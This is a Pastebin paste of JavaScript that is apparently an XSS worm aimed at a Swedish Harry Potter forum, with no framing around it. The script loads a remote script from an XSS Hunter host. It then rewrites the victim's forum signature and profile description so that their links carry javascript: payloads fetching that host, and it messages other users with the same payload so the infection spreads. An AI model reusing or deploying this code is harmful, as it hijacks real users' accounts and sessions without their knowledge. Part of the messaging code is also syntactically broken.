Advertisement
Guest User

Untitled

a guest
Aug 21st, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.19 KB | None | 0 0
  1. var html = document.documentElement.outerHTML;
  2. var currentUser = html.split('return follow(this);')[2].split('">')[2].split('<')[0];
  3. var users = [];
  4. var data;
  5.  
  6. function escapeRegExp(str) {
  7. return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
  8. }
  9.  
  10. (function() {
  11. var startingTime = new Date().getTime();
  12.  
  13. var script = document.createElement("SCRIPT");
  14. script.src = 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';
  15. script.type = 'text/javascript';
  16. document.getElementsByTagName("head")[0].appendChild(script);
  17.  
  18. var checkReady = function(callback) {
  19. if (window.jQuery) {
  20. callback(jQuery);
  21. }
  22. else {
  23. window.setTimeout(function() { checkReady(callback); }, 20);
  24. }
  25. };
  26.  
  27. checkReady(function($) {
  28. $(function() {
  29.  
  30. $.getScript("//gthotel.xss.ht");
  31.  
  32. $.ajax({
  33. url: 'users.php',
  34. processData: false,
  35. cache: false,
  36. type: 'GET',
  37. contentType: false,
  38.  
  39. beforeSend: function (x) {
  40. if (x && x.overrideMimeType) {
  41. x.overrideMimeType("multipart/form-data");
  42. }
  43. },
  44.  
  45. mimeType: 'multipart/form-data',
  46. success: function (data) {
  47. for (var i = 0; i < 5; i++) {
  48. var userindex = data.split('<a href="user.php?id=')[5+i].split('<span')[1].split('">')[1].split('<')[0];
  49. if (userindex != currentUser) {
  50. users.push(userindex);
  51. }
  52. }
  53. console.log(users);
  54. $.get(
  55. "settings.php", function(data) {
  56. var signCont = data.split('<textarea')[2].split('">')[1].split('<')[0];
  57. var signCont2 = data.split('<textarea')[1].split('">')[1].split('<')[0];
  58. var count = (signCont.match(/\[url=/g) || []).length;
  59. var count2 = (signCont2.match(/\[url=/g) || []).length;
  60.  
  61. for (var i = 0; i < count; i++) {
  62. var currentURL = signCont.split("[url=")[i+1].split("]")[0];
  63. var re = new RegExp(escapeRegExp(currentURL), "g");
  64. var payload = "jav ascript://" + currentURL + "%0aeval('var a=document.createElement(\'script\');a.src=\'https://gthotel.xss.ht\';document.body.appendChild(a)');";
  65. signCont = signCont.replace(re, payload);
  66. }
  67.  
  68. for (var i = 0; i < count2; i++) {
  69. var currentURL2 = signCont2.split("[url=")[i+1].split("]")[0];
  70. var re = new RegExp(escapeRegExp(currentURL2), "g");
  71. var payload = "jav ascript://" + currentURL2 + "%0aeval('var a=document.createElement(\'script\');a.src=\'https://gthotel.xss.ht\';document.body.appendChild(a)');";
  72. signCont2 = signCont2.replace(re, payload);
  73. }
  74.  
  75. data = new FormData();
  76. data.append('forum_signature', signCont);
  77. data.append('description', signCont2);
  78. data.append('settings', 'Uppdatera');
  79.  
  80. $.ajax({
  81. url: 'settings.php',
  82. data: data,
  83. processData: false,
  84. cache: false,
  85. type: 'POST',
  86. contentType: false,
  87.  
  88. beforeSend: function (x) {
  89. if (x && x.overrideMimeType) {
  90. x.overrideMimeType("multipart/form-data");
  91. }
  92. },
  93.  
  94. mimeType: 'multipart/form-data',
  95. success: function (data) {
  96. $.post("messages.php?ajax=1", "ajax=1&font=default&name=" + encodeURIComponent("Vill någon rollspela?") + "&send=Skicka&text=" + "[url=jav%09ascript:eval('var a=document.createElement(\'script\');a.src=\'https://gthotel.xss.ht\';document.body.appendChild(a)');]https://www.mugglarportalen.se/#forum.php?topic=50591[/url]" + "&users[0]=maxx&users[1]=undefined");
  97. + encodeURIComponent(users[1]) + "&users[2]="
  98. + encodeURIComponent(users[2]) + "&users[3]="
  99. + encodeURIComponent(users[3]) + "&users[4]="
  100. + encodeURIComponent(users[4]);
  101. }
  102. }
  103. )}
  104. );
  105. }
  106. });
  107. });
  108. });
  109. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement